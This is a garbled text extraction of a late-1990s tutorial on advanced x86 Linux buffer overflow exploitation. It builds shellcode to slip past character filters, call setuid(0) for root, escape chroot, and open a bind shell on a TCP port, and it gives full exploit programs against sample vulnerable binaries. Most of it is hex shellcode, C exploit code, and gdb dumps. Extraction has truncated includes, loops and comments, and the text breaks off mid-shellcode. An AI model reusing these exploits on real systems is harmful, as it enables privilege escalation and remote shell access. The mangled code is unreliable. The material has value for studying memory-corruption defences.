Article 4 - Florida State University

advertisement
Article 4
Advanced buffer overflow exploit
Written by Taeho Oh ( ohhara@postech.edu )
---------------------------------------------------------------------------Taeho Oh ( ohhara@postech.edu )
http://postech.edu/~ohhara
PLUS ( Postech Laboratory for Unix Security )
PosLUG ( Postech Linux User Group )
http://postech.edu/plus
http://postech.edu/group/poslug
----------------------------------------------------------------------------
1. Introduction
Nowadays there are many buffer overflow exploit codes. The early buffer
overflow exploit codes only spawn a shell ( execute /bin/sh ). However,
nowadays some of the buffer overflow exploit codes have very nice features.
For example, passing through filtering, opening a socket, breaking chroot,
and so on. This paper will attempt to explain the advanced buffer overflow
exploit skill under intel x86 linux.
2. What do you have to know before reading?
You have to know assembly language, C language, and Linux. Of course, you
have to know what buffer overflow is. You can get the information of the
buffer overflow in phrack 49-14 ( Smashing The Stack For Fun And Profit
by Aleph1 ). It is a wonderful paper of buffer overflow and I highly recommend
you to read that before reading this one.
3. Pass through filtering
There are many programs which has buffer overflow problems. Why are not the
all buffer overflow problems exploited? Because even if a program has a buffer
overflow condition, it can be hard to exploit. In many cases, the reason is
that the program filters some characters or converts characters into other
characters. If the program filters all non printable characters, it's too
hard to exploit. If the program filters some of characters, you can pass
through the filter by making good buffer overflow exploit code. :)
3.1 The example vulnerable program
vulnerable1.c
---------------------------------------------------------------------------#include
#include
int main(int argc,int **argv)
{
char buffer[1024];
int i;
if(argc>1)
{
for(i=0;i
#include
#define ALIGN
#define OFFSET
0
0
#define RET_POSITION
#define RANGE
#define NOP
1024
20
0x90
char shellcode[]=
"\xeb\x38"
"\x5e"
/* jmp 0x38
/* popl %esi
*/
*/
"\x80\x46\x01\x50"
/* addb $0x50,0x1(%esi) */
"\x80\x46\x02\x50"
/* addb $0x50,0x2(%esi) */
"\x80\x46\x03\x50"
/* addb $0x50,0x3(%esi) */
"\x80\x46\x05\x50"
/* addb $0x50,0x5(%esi) */
"\x80\x46\x06\x50"
/* addb $0x50,0x6(%esi) */
"\x89\xf0"
/* movl %esi,%eax
*/
"\x83\xc0\x08"
/* addl $0x8,%eax
"\x89\x46\x08"
/* movl %eax,0x8(%esi) */
"\x31\xc0"
/* xorl %eax,%eax
*/
*/
"\x88\x46\x07"
/* movb %eax,0x7(%esi) */
"\x89\x46\x0c"
/* movl %eax,0xc(%esi) */
"\xb0\x0b"
/* movb $0xb,%al
*/
"\x89\xf3"
/* movl %esi,%ebx
*/
"\x8d\x4e\x08"
/* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c"
/* leal 0xc(%esi),%edx */
"\xcd\x80"
/* int $0x80
"\x31\xdb"
/* xorl %ebx,%ebx
"\x89\xd8"
/* movl %ebx,%eax
"\x40"
/* inc %eax
"\xcd\x80"
/* int $0x80
"\xe8\xc3\xff\xff\xff"
*/
*/
*/
*/
*/
/* call -0x3d
*/
"\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh"
*/
/* /bin/sh is disguised */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}
for(i=0;i
#include
int main(int argc,char **argv)
{
char buffer[1024];
seteuid(getuid());
if(argc>1)
strcpy(buffer,argv[1]);
}
---------------------------------------------------------------------------This vulnerable program calls seteuid(getuid()) at start. Therefore, you
may think that "strcpy(buffer,argv[1]);" is OK. Because you can only get
your own shell although you succeed in buffer overflow attack. However,
if you insert a code which calls setuid(0) in the shellcode, you can get
root shell. :)
4.2 Make setuid(0) code
setuidasm.c
---------------------------------------------------------------------------main()
{
setuid(0);
}
---------------------------------------------------------------------------compile and disassemble
---------------------------------------------------------------------------[ ohhara@ohhara ~ ] {1} $ gcc -o setuidasm -static setuidasm.c
[ ohhara@ohhara ~ ] {2} $ gdb setuidasm
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble setuid
Dump of assembler code for function __setuid:
0x804ca00 <__setuid>: movl %ebx,%edx
0x804ca02 <__setuid+2>: movl 0x4(%esp,1),%ebx
0x804ca06 <__setuid+6>: movl $0x17,%eax
0x804ca0b <__setuid+11>:
int
$0x80
0x804ca0d <__setuid+13>:
movl %edx,%ebx
0x804ca0f <__setuid+15>:
cmpl $0xfffff001,%eax
0x804ca14 <__setuid+20>:
jae
0x804ca1a <__setuid+26>:
ret
0x804ca1b <__setuid+27>:
nop
0x804ca1c <__setuid+28>:
nop
0x804ca1d <__setuid+29>:
nop
0x804ca1e <__setuid+30>:
nop
0x804ca1f <__setuid+31>:
nop
0x804cc10 <__syscall_error>
End of assembler dump.
(gdb)
---------------------------------------------------------------------------setuid(0); code
---------------------------------------------------------------------------char code[]=
"\x31\xc0"
/* xorl %eax,%eax
*/
"\x31\xdb"
/* xorl %ebx,%ebx
*/
"\xb0\x17"
/* movb $0x17,%al
*/
"\xcd\x80";
/* int $0x80
*/
---------------------------------------------------------------------------4.3 Modify the normal shellcode
Making new shellcode is very easy if you make setuid(0) code. Just insert
the code into the start of the normal shellcode.
new shellcode
---------------------------------------------------------------------------char shellcode[]=
"\x31\xc0"
/* xorl %eax,%eax
*/
"\x31\xdb"
/* xorl %ebx,%ebx
*/
"\xb0\x17"
/* movb $0x17,%al
*/
"\xcd\x80"
/* int $0x80
*/
"\xeb\x1f"
/* jmp 0x1f
*/
/* popl %esi
*/
"\x5e"
"\x89\x76\x08"
/* movl %esi,0x8(%esi) */
"\x31\xc0"
/* xorl %eax,%eax
*/
"\x88\x46\x07"
/* movb %eax,0x7(%esi) */
"\x89\x46\x0c"
/* movl %eax,0xc(%esi) */
"\xb0\x0b"
/* movb $0xb,%al
*/
"\x89\xf3"
/* movl %esi,%ebx
*/
"\x8d\x4e\x08"
/* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c"
/* leal 0xc(%esi),%edx */
"\xcd\x80"
/* int $0x80
"\x31\xdb"
/* xorl %ebx,%ebx
"\x89\xd8"
/* movl %ebx,%eax
"\x40"
/* inc %eax
"\xcd\x80"
/* int $0x80
"\xe8\xdc\xff\xff\xff"
*/
*/
*/
*/
/* call -0x24
"/bin/sh";
*/
*/
/* .string \"/bin/sh\" */
---------------------------------------------------------------------------4.4 Exploit vulnerable2 program
With this shellcode, you can make an exploit code easily.
exploit2.c
---------------------------------------------------------------------------#include
#include
#define ALIGN
#define OFFSET
0
0
#define RET_POSITION
#define RANGE
#define NOP
1024
20
0x90
char shellcode[]=
"\x31\xc0"
/* xorl %eax,%eax
*/
"\x31\xdb"
/* xorl %ebx,%ebx
*/
"\xb0\x17"
/* movb $0x17,%al
*/
"\xcd\x80"
/* int $0x80
*/
"\xeb\x1f"
/* jmp 0x1f
*/
/* popl %esi
*/
"\x5e"
"\x89\x76\x08"
"\x31\xc0"
/* movl %esi,0x8(%esi) */
/* xorl %eax,%eax
*/
"\x88\x46\x07"
/* movb %eax,0x7(%esi) */
"\x89\x46\x0c"
/* movl %eax,0xc(%esi) */
"\xb0\x0b"
/* movb $0xb,%al
*/
"\x89\xf3"
/* movl %esi,%ebx
*/
"\x8d\x4e\x08"
/* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c"
/* leal 0xc(%esi),%edx */
"\xcd\x80"
/* int $0x80
"\x31\xdb"
/* xorl %ebx,%ebx
"\x89\xd8"
/* movl %ebx,%eax
"\x40"
"\xcd\x80"
"\xe8\xdc\xff\xff\xff"
"/bin/sh";
/* inc %eax
/* int $0x80
*/
*/
*/
*/
*/
/* call -0x24
*/
/* .string \"/bin/sh\" */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}
for(i=0;i
#include
int main(int argc,char **argv)
{
char buffer[1024];
chroot("/home/ftp");
chdir("/");
if(argc>1)
strcpy(buffer,argv[1]);
}
---------------------------------------------------------------------------If you tries to execute "/bin/sh" with buffer overflow, it may executes
"/home/ftp/bin/sh" ( if it exists ) and you cannot access the other directories
except for "/home/ftp".
5.2 Make break chroot code
If you can execute below code, you can break chroot.
breakchrootasm.c
---------------------------------------------------------------------------main()
{
mkdir("sh",0755);
chroot("sh");
/* many "../" */
chroot("../../../../../../../../../../../../../../../../");
}
---------------------------------------------------------------------------This break chroot code makes "sh" directory, because it's easy to reference.
( it's also used to execute "/bin/sh" )
compile and disassemble
---------------------------------------------------------------------------[ ohhara@ohhara ~ ] {1} $ gcc -o breakchrootasm -static breakchrootasm.c
[ ohhara@ohhara ~ ] {2} $ gdb breakchrootasm
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble mkdir
Dump of assembler code for function __mkdir:
0x804cac0 <__mkdir>:
movl %ebx,%edx
0x804cac2 <__mkdir+2>: movl 0x8(%esp,1),%ecx
0x804cac6 <__mkdir+6>: movl 0x4(%esp,1),%ebx
0x804caca <__mkdir+10>: movl $0x27,%eax
0x804cacf <__mkdir+15>: int
$0x80
0x804cad1 <__mkdir+17>: movl %edx,%ebx
0x804cad3 <__mkdir+19>: cmpl $0xfffff001,%eax
0x804cad8 <__mkdir+24>: jae
0x804cc40 <__syscall_error>
0x804cade <__mkdir+30>: ret
0x804cadf <__mkdir+31>: nop
End of assembler dump.
(gdb) disassemble chroot
Dump of assembler code for function chroot:
0x804cb60 :
movl %ebx,%edx
0x804cb62 : movl 0x4(%esp,1),%ebx
0x804cb66 : movl $0x3d,%eax
0x804cb6b : int
$0x80
0x804cb6d : movl %edx,%ebx
0x804cb6f : cmpl $0xfffff001,%eax
0x804cb74 : jae
0x804cc40 <__syscall_error>
0x804cb7a : ret
0x804cb7b : nop
0x804cb7c : nop
0x804cb7d : nop
0x804cb7e : nop
0x804cb7f : nop
End of assembler dump.
(gdb)
---------------------------------------------------------------------------mkdir("sh",0755); code
---------------------------------------------------------------------------/* mkdir first argument is %ebx and second argument is */
/* %ecx.
*/
char code[]=
"\x31\xc0"
/* xorl %eax,%eax
*/
"\x31\xc9"
/* xorl %ecx,%ecx
*/
"\xb0\x17"
/* movb $0x27,%al
"\x8d\x5e\x05"
*/
/* leal 0x5(%esi),%ebx */
/* %esi has to reference "/bin/sh" before using this
/* instruction. This instruction load address of "sh"
/* and store at %ebx
"\xfe\xc5"
*/
/* incb %ch
*/
/* %cx = 0000 0001 0000 0000
"\xb0\x3d"
*/
/* movb $0xed,%cl
*/
/* %cx = 0000 0001 1110 1101
*/
/* %cx = 000 111 101 101
/* %cx = 0 7 5 5
"\xcd\x80";
*/
*/
/* int $0x80
*/
---------------------------------------------------------------------------chroot("sh"); code
----------------------------------------------------------------------------
*/
*/
/* chroot first argument is ebx */
char code[]=
"\x31\xc0"
/* xorl %eax,%eax
"\x8d\x5e\x05"
*/
/* leal 0x5(%esi),%ebx */
"\xb0\x3d"
/* movb $0x3d,%al
"\xcd\x80";
/* int $0x80
*/
*/
---------------------------------------------------------------------------chroot("../../../../../../../../../../../../../../../../"); code
---------------------------------------------------------------------------char code[]=
"\xbb\xd2\xd1\xd0\xff"
/* movl $0xffd0d1d2,%ebx */
/* disguised "../" character string
"\xf7\xdb"
*/
/* negl %ebx
*/
/* %ebx = $0x002f2e2e
*/
/* intel x86 is little endian.
*/
/* %ebx = "../"
*/
"\x31\xc9"
/* xorl %ecx,%ecx
*/
"\xb1\x10"
/* movb $0x10,%cl
*/
/* prepare for looping 16 times.
"\x56"
*/
/* pushl %esi
*/
/* backup current %esi. %esi has the pointer of
/* "/bin/sh".
*/
*/
"\x01\xce"
/* addl %ecx,%esi
"\x89\x1e"
/* movl %ebx,(%esi)
*/
/* addl $0x3,%esi
*/
"\x83\xc6\x03"
"\xe0\xf9"
*/
/* loopne -0x7
*/
/* make "../../../../ . . . " character string at
*/
/* 0x10(%esi) by looping.
*/
"\x5e"
/* popl %esi
/* restore %esi.
"\xb0\x3d"
"\x8d\x5e\x10"
*/
*/
/* movb $0x3d,%al
*/
/* leal 0x10(%esi),%ebx */
/* %ebx has the address of "../../../../ . . . ".
"\xcd\x80";
/* int $0x80
*/
*/
----------------------------------------------------------------------------
5.3 Modify the normal shellcode
Making new shellcode is very easy if you make break chroot code. Just insert
the code into the start of the normal shellcode and modify jmp and call
argument.
new shellcode
---------------------------------------------------------------------------char shellcode[]=
"\xeb\x4f"
/* jmp 0x4f
"\x31\xc0"
/* xorl %eax,%eax
*/
"\x31\xc9"
/* xorl %ecx,%ecx
*/
"\x5e"
"\x88\x46\x07"
"\xb0\x27"
"\x8d\x5e\x05"
"\xfe\xc5"
/* popl %esi
*/
*/
/* movb %al,0x7(%esi)
/* movb $0x27,%al
/* incb %ch
*/
/* movb $0xed,%cl
"\xcd\x80"
/* int $0x80
"\x31\xc0"
/* xorl %eax,%eax
*/
/* leal 0x5(%esi),%ebx */
/* movb $0x3d,%al
"\xcd\x80"
/* int $0x80
"\x31\xc0"
/* xorl %eax,%eax
*/
*/
*/
/* movl $0xffd0d1d2,%ebx */
"\xf7\xdb"
/* negl %ebx
"\x31\xc9"
/* xorl %ecx,%ecx
"\xb1\x10"
/* movb $0x10,%cl
"\x56"
*/
*/
"\xb0\x3d"
"\xbb\xd2\xd1\xd0\xff"
*/
/* leal 0x5(%esi),%ebx */
"\xb1\xed"
"\x8d\x5e\x05"
*/
*/
/* pushl %esi
*/
*/
"\x01\xce"
/* addl %ecx,%esi
"\x89\x1e"
/* movl %ebx,(%esi)
"\x83\xc6\x03"
"\xe0\xf9"
"\x5e"
"\xb0\x3d"
"\x8d\x5e\x10"
"\xcd\x80"
*/
*/
*/
/* addl %0x3,%esi
/* loopne -0x7
/* popl %esi
*/
*/
*/
/* movb $0x3d,%al
*/
/* leal 0x10(%esi),%ebx */
/* int $0x80
*/
"\x31\xc0"
/* xorl %eax,%eax
*/
"\x89\x76\x08"
/* movl %esi,0x8(%esi) */
"\x89\x46\x0c"
/* movl %eax,0xc(%esi) */
"\xb0\x0b"
/* movb $0xb,%al
*/
"\x89\xf3"
/* movl %esi,%ebx
*/
"\x8d\x4e\x08"
/* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c"
/* leal 0xc(%esi),%edx */
"\xcd\x80"
/* int $0x80
"\xe8\xac\xff\xff\xff"
*/
/* call -0x54
"/bin/sh";
*/
/* .string \"/bin/sh\" */
---------------------------------------------------------------------------5.4 Exploit vulnerable3 program
With this shellcode, you can make an exploit code easily.
exploit3.c
---------------------------------------------------------------------------#include
#include
#define ALIGN
#define OFFSET
0
0
#define RET_POSITION
#define RANGE
#define NOP
1024
20
0x90
char shellcode[]=
"\xeb\x4f"
/* jmp 0x4f
"\x31\xc0"
/* xorl %eax,%eax
*/
"\x31\xc9"
/* xorl %ecx,%ecx
*/
"\x5e"
"\x88\x46\x07"
"\xb0\x27"
"\x8d\x5e\x05"
"\xfe\xc5"
/* popl %esi
*/
*/
/* movb %al,0x7(%esi)
/* movb $0x27,%al
*/
*/
/* leal 0x5(%esi),%ebx */
/* incb %ch
"\xb1\xed"
/* movb $0xed,%cl
"\xcd\x80"
/* int $0x80
*/
*/
*/
"\x31\xc0"
"\x8d\x5e\x05"
/* xorl %eax,%eax
*/
/* leal 0x5(%esi),%ebx */
"\xb0\x3d"
/* movb $0x3d,%al
"\xcd\x80"
/* int $0x80
"\x31\xc0"
/* xorl %eax,%eax
"\xbb\xd2\xd1\xd0\xff"
*/
*/
/* movl $0xffd0d1d2,%ebx */
"\xf7\xdb"
/* negl %ebx
"\x31\xc9"
/* xorl %ecx,%ecx
"\xb1\x10"
/* movb $0x10,%cl
"\x56"
*/
*/
*/
/* pushl %esi
*/
*/
"\x01\xce"
/* addl %ecx,%esi
"\x89\x1e"
/* movl %ebx,(%esi)
"\x83\xc6\x03"
"\xe0\xf9"
"\x5e"
"\xb0\x3d"
"\x8d\x5e\x10"
*/
*/
/* addl %0x3,%esi
/* loopne -0x7
/* popl %esi
*/
*/
*/
/* movb $0x3d,%al
*/
/* leal 0x10(%esi),%ebx */
"\xcd\x80"
/* int $0x80
"\x31\xc0"
/* xorl %eax,%eax
*/
*/
"\x89\x76\x08"
/* movl %esi,0x8(%esi) */
"\x89\x46\x0c"
/* movl %eax,0xc(%esi) */
"\xb0\x0b"
/* movb $0xb,%al
*/
"\x89\xf3"
/* movl %esi,%ebx
*/
"\x8d\x4e\x08"
/* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c"
/* leal 0xc(%esi),%edx */
"\xcd\x80"
"\xe8\xac\xff\xff\xff"
"/bin/sh";
/* int $0x80
*/
/* call -0x54
*/
/* .string \"/bin/sh\" */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}
for(i=0;i
int main(int argc,char **argv)
{
char buffer[1024];
if(argc>1)
strcpy(buffer,argv[1]);
}
---------------------------------------------------------------------------This is standard vulnerable program. I will use this for socket opening
buffer overflow. Because I am too lazy to make a example daemon program. :)
However, after you see the code, you will not be disappointed.
6.2 Make open socket code
If you can execute below code, you can open a socket.
opensocketasm1.c
---------------------------------------------------------------------------#include
#include
#include
int soc,cli,soc_len;
struct sockaddr_in serv_addr;
struct sockaddr_in cli_addr;
int main()
{
if(fork()==0)
{
serv_addr.sin_family=AF_INET;
serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
serv_addr.sin_port=htons(30464);
soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
bind(soc,(struct sockaddr *)&serv_addr,sizeof(serv_addr));
listen(soc,1);
soc_len=sizeof(cli_addr);
cli=accept(soc,(struct sockaddr *)&cli_addr,&soc_len);
dup2(cli,0);
dup2(cli,1);
dup2(cli,2);
execl("/bin/sh","sh",0);
}
}
---------------------------------------------------------------------------It's difficult to make with assembly language. You can make this program
simple.
opensocketasm2.c
---------------------------------------------------------------------------#include
#include
#include
int soc,cli;
struct sockaddr_in serv_addr;
int main()
{
if(fork()==0)
{
serv_addr.sin_family=2;
serv_addr.sin_addr.s_addr=0;
serv_addr.sin_port=0x77;
soc=socket(2,1,6);
bind(soc,(struct sockaddr *)&serv_addr,0x10);
listen(soc,1);
cli=accept(soc,0,0);
dup2(cli,0);
dup2(cli,1);
dup2(cli,2);
execl("/bin/sh","sh",0);
}
}
---------------------------------------------------------------------------compile and disassemble
---------------------------------------------------------------------------[ ohhara@ohhara ~ ] {1} $ gcc -o opensocketasm2 -static opensocketasm2.c
[ ohhara@ohhara ~ ] {2} $ gdb opensocketasm2
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble fork
Dump of assembler code for function fork:
0x804ca90 :
movl $0x2,%eax
0x804ca95 :
int
0x804ca97 :
cmpl $0xfffff001,%eax
0x804ca9c :
jae
$0x80
0x804cdc0 <__syscall_error>
0x804caa2 :
ret
0x804caa3 :
nop
0x804caa4 :
nop
0x804caa5 :
nop
0x804caa6 :
nop
0x804caa7 :
nop
0x804caa8 :
nop
0x804caa9 :
nop
0x804caaa :
nop
0x804caab :
nop
0x804caac :
nop
0x804caad :
nop
0x804caae :
nop
0x804caaf :
nop
End of assembler dump.
(gdb) disassemble socket
Dump of assembler code for function socket:
0x804cda0 :
movl %ebx,%edx
0x804cda2 : movl $0x66,%eax
0x804cda7 : movl $0x1,%ebx
0x804cdac : leal 0x4(%esp,1),%ecx
0x804cdb0 : int
$0x80
0x804cdb2 : movl %edx,%ebx
0x804cdb4 : cmpl $0xffffff83,%eax
0x804cdb7 : jae
0x804cdc0 <__syscall_error>
0x804cdbd : ret
0x804cdbe : nop
0x804cdbf : nop
End of assembler dump.
(gdb) disassemble bind
Dump of assembler code for function bind:
0x804cd60 :
movl %ebx,%edx
0x804cd62 :
movl $0x66,%eax
0x804cd67 :
movl $0x2,%ebx
0x804cd6c :
leal 0x4(%esp,1),%ecx
0x804cd70 :
int
0x804cd72 :
movl %edx,%ebx
$0x80
0x804cd74 :
cmpl $0xffffff83,%eax
0x804cd77 :
jae
0x804cd7d :
ret
0x804cd7e :
nop
0x804cd7f :
nop
0x804cdc0 <__syscall_error>
End of assembler dump.
(gdb) disassemble listen
Dump of assembler code for function listen:
0x804cd80 :
movl %ebx,%edx
0x804cd82 : movl $0x66,%eax
0x804cd87 : movl $0x4,%ebx
0x804cd8c : leal 0x4(%esp,1),%ecx
0x804cd90 : int
$0x80
0x804cd92 : movl %edx,%ebx
0x804cd94 : cmpl $0xffffff83,%eax
0x804cd97 : jae
0x804cdc0 <__syscall_error>
0x804cd9d : ret
0x804cd9e : nop
0x804cd9f : nop
End of assembler dump.
(gdb) disassemble accept
Dump of assembler code for function __accept:
0x804cd40 <__accept>: movl %ebx,%edx
0x804cd42 <__accept+2>: movl $0x66,%eax
0x804cd47 <__accept+7>: movl $0x5,%ebx
0x804cd4c <__accept+12>:
leal 0x4(%esp,1),%ecx
0x804cd50 <__accept+16>:
int
0x804cd52 <__accept+18>:
movl %edx,%ebx
0x804cd54 <__accept+20>:
cmpl $0xffffff83,%eax
0x804cd57 <__accept+23>:
jae
0x804cd5d <__accept+29>:
ret
0x804cd5e <__accept+30>:
nop
0x804cd5f <__accept+31>:
nop
$0x80
0x804cdc0 <__syscall_error>
End of assembler dump.
(gdb) disassemble dup2
Dump of assembler code for function dup2:
0x804cbe0 :
movl %ebx,%edx
0x804cbe2 :
movl 0x8(%esp,1),%ecx
0x804cbe6 :
movl 0x4(%esp,1),%ebx
0x804cbea :
movl $0x3f,%eax
0x804cbef :
int
0x804cbf1 :
movl %edx,%ebx
0x804cbf3 :
cmpl $0xfffff001,%eax
0x804cbf8 :
jae
0x804cbfe :
ret
0x804cbff :
nop
$0x80
0x804cdc0 <__syscall_error>
End of assembler dump.
(gdb)
---------------------------------------------------------------------------fork(); code
---------------------------------------------------------------------------char code[]=
"\x31\xc0"
/* xorl %eax,%eax
*/
"\xb0\x02"
/* movb $0x2,%al
*/
"\xcd\x80";
/* int $0x80
*/
---------------------------------------------------------------------------socket(2,1,6); code
---------------------------------------------------------------------------/* %ecx is a pointer of all arguments.
*/
char code[]=
"\x31\xc0"
/* xorl %eax,%eax
*/
"\x31\xdb"
/* xorl %ebx,%ebx
*/
"\x89\xf1"
/* movl %esi,%ecx
*/
"\xb0\x02"
/* movb $0x2,%al
*/
"\x89\x06"
/* movl %eax,(%esi)
/* The first argument.
*/
*/
/* %esi has reference free memory space before using
/* this instruction.
"\xb0\x01"
*/
/* movb $0x1,%al
"\x89\x46\x04"
/* movl %eax,0x4(%esi) */
/* The second argument.
"\xb0\x06"
*/
/* movb $0x6,%al
*/
*/
*/
"\x89\x46\x08"
/* movl %eax,0x8(%esi) */
/* The third argument.
*/
"\xb0\x66"
/* movb $0x66,%al
*/
"\xb3\x01"
/* movb $0x1,%bl
*/
"\xcd\x80";
/* int $0x80
*/
---------------------------------------------------------------------------bind(soc,(struct sockaddr *)&serv_addr,0x10); code
---------------------------------------------------------------------------/* %ecx is a pointer of all arguments.
*/
char code[]=
"\x89\xf1"
/* movl %esi,%ecx
*/
"\x89\x06"
/* movl %eax,(%esi)
*/
/* %eax has to have soc value before using this
/* instruction.
*/
/* the first argument.
"\xb0\x02"
*/
/* movb $0x2,%al
"\x66\x89\x46\x0c"
*/
/* movw %ax,0xc(%esi)
/* serv_addr.sin_family=2
*/
/* movb $0x77,%al
"\x66\x89\x46\x0e"
*/
/* movw %ax,0xe(%esi)
/* store port number at 0xe(%esi)
"\x8d\x46\x0c"
*/
/* leal 0xc(%esi),%eax */
/* %eax = the address of serv_addr
"\x89\x46\x04"
*/
/* movl %eax,0x4(%esi) */
/* the second argument.
"\x31\xc0"
"\x89\x46\x10"
*/
/* xorl %eax,%eax
*/
/* movl %eax,0x10(%esi) */
/* serv_addr.sin_addr.s_addr=0
*/
/* 0 is stored at 0x10(%esi).
"\xb0\x10"
"\x89\x46\x08"
*/
*/
/* 2 is stored at 0xc(%esi).
"\xb0\x77"
*/
*/
/* movb $0x10,%al
*/
/* movl %eax,0x8(%esi) */
/* the third argument.
*/
"\xb0\x66"
/* movb $0x66,%al
*/
"\xb3\x02"
/* movb $0x2,%bl
*/
"\xcd\x80";
/* int $0x80
*/
*/
---------------------------------------------------------------------------listen(soc,1); code
---------------------------------------------------------------------------/* %ecx is a pointer of all arguments.
*/
char code[]=
"\x89\xf1"
/* movl %esi,%ecx
*/
"\x89\x06"
/* movl %eax,(%esi)
*/
/* %eax has to have soc value before using this
/* instruction.
*/
/* the first argument.
"\xb0\x01"
*/
*/
/* movb $0x1,%al
"\x89\x46\x04"
*/
/* movl %eax,0x4(%esi) */
/* the second argument.
*/
"\xb0\x66"
/* movb $0x66,%al
*/
"\xb3\x04"
/* movb $0x4,%bl
*/
"\xcd\x80";
/* int $0x80
*/
---------------------------------------------------------------------------accept(soc,0,0); code
---------------------------------------------------------------------------/* %ecx is a pointer of all arguments.
*/
char code[]=
"\x89\xf1"
/* movl %esi,%ecx
*/
"\x89\xf1"
/* movl %eax,(%esi)
*/
/* %eax has to have soc value before using this
/* instruction.
*/
/* the first argument.
"\x31\xc0"
*/
/* xorl %eax,%eax
"\x89\x46\x04"
*/
/* movl %eax,0x4(%esi) */
/* the second argument.
"\x89\x46\x08"
*/
*/
/* movl %eax,0x8(%esi) */
/* the third argument.
*/
"\xb0\x66"
/* movb $0x66,%al
*/
"\xb3\x05"
/* movb $0x5,%bl
*/
"\xcd\x80";
/* int $0x80
*/
----------------------------------------------------------------------------
dup2(cli,0); code
---------------------------------------------------------------------------/* the first argument is %ebx and the second argument
/* is %ecx
*/
char code[]=
/* %eax has to have cli value before using this
/* instruction.
*/
*/
"\x88\xc3"
/* movb %al,%bl
*/
"\xb0\x3f"
/* movb $0x3f,%al
*/
"\x31\xc9"
/* xorl %ecx,%ecx
*/
"\xcd\x80";
/* int $0x80
*/
---------------------------------------------------------------------------6.3 Modify the normal shellcode
You need some works to merge the above codes.
new shellcode
---------------------------------------------------------------------------char shellcode[]=
"\x31\xc0"
/* xorl %eax,%eax
*/
"\xb0\x02"
/* movb $0x2,%al
*/
"\xcd\x80"
/* int $0x80
"\x85\xc0"
/* testl %eax,%eax
"\x75\x43"
/* jne 0x43
*/
*/
*/
/* fork()!=0 case
*/
/* It will call exit(0)
*/
/* To do that, it will jump twice, because exit(0) is
/* located so far.
"\xeb\x43"
*/
/* jmp 0x43
*/
/* fork()==0 case
*/
/* It will call -0xa5
*/
/* To do that, it will jump twice, because call -0xa5
/* is located so far.
"\x5e"
"\x31\xc0"
*/
*/
/* popl %esi
/* xorl %eax,%eax
*/
*/
*/
*/
"\x31\xdb"
/* xorl %ebx,%ebx
*/
"\x89\xf1"
/* movl %esi,%ecx
*/
"\xb0\x02"
/* movb $0x2,%al
*/
"\x89\x06"
/* movl %eax,(%esi)
"\xb0\x01"
/* movb $0x1,%al
"\x89\x46\x04"
"\xb0\x06"
"\x89\x46\x08"
*/
*/
/* movl %eax,0x4(%esi) */
/* movb $0x6,%al
*/
/* movl %eax,0x8(%esi) */
"\xb0\x66"
/* movb $0x66,%al
*/
"\xb3\x01"
/* movb $0x1,%bl
*/
"\xcd\x80"
/* int $0x80
"\x89\x06"
/* movl %eax,(%esi)
"\xb0\x02"
/* movb $0x2,%al
"\x66\x89\x46\x0c"
"\xb0\x77"
"\x66\x89\x46\x0e"
*/
*/
*/
/* movw %ax,0xc(%esi)
/* movb $0x77,%al
*/
/* movw %ax,0xe(%esi)
"\x8d\x46\x0c"
/* leal 0xc(%esi),%eax */
"\x89\x46\x04"
/* movl %eax,0x4(%esi) */
"\x31\xc0"
"\x89\x46\x10"
"\xb0\x10"
"\x89\x46\x08"
/* xorl %eax,%eax
*/
/* movl %eax,0x10(%esi) */
/* movb $0x10,%al
*/
/* movl %eax,0x8(%esi) */
"\xb0\x66"
/* movb $0x66,%al
*/
"\xb3\x02"
/* movb $0x2,%bl
*/
"\xcd\x80"
/* int $0x80
*/
"\xeb\x04"
/* jmp 0x4
*/
"\xeb\x55"
/* jmp 0x55
*/
"\xeb\x5b"
/* jmp 0x5b
*/
"\xb0\x01"
/* movb $0x1,%al
"\x89\x46\x04"
*/
/* movl %eax,0x4(%esi) */
